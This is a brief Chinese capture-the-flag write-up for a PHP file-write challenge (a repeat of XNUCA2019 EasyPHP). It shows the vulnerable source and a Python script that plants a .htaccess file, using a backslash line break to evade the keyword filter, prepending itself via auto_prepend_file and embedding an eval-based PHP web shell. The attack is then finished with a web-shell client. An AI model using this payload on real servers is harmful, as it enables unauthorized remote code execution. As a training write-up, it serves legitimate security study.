前言
这题之前做过来着,可以说一模一样了。
<?php
$files = scandir('./');
foreach ($files as $file) {
if (is_file($file)) {
if ($file !== "index.php") {
unlink($file);
}
}
}
if (!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if (stristr($content, 'on') || stristr($content, 'html') || stristr($content, 'type') || stristr($content, 'flag') || stristr($content, 'upload') || stristr($content, 'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if (preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach ($files as $file) {
if (is_file($file)) {
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
题解
具体见刷题笔记:[XNUCA2019Qualifier]EasyPHP
import requests
# %23 是# 的url编码,防止python把自己注释了
# \\ , 两个\\上传上去就是 一个 \
content = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''
url = "http://4a18370b-9163-4561-8330-fab04fc0ca5e.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)
蚁剑连接下,结束。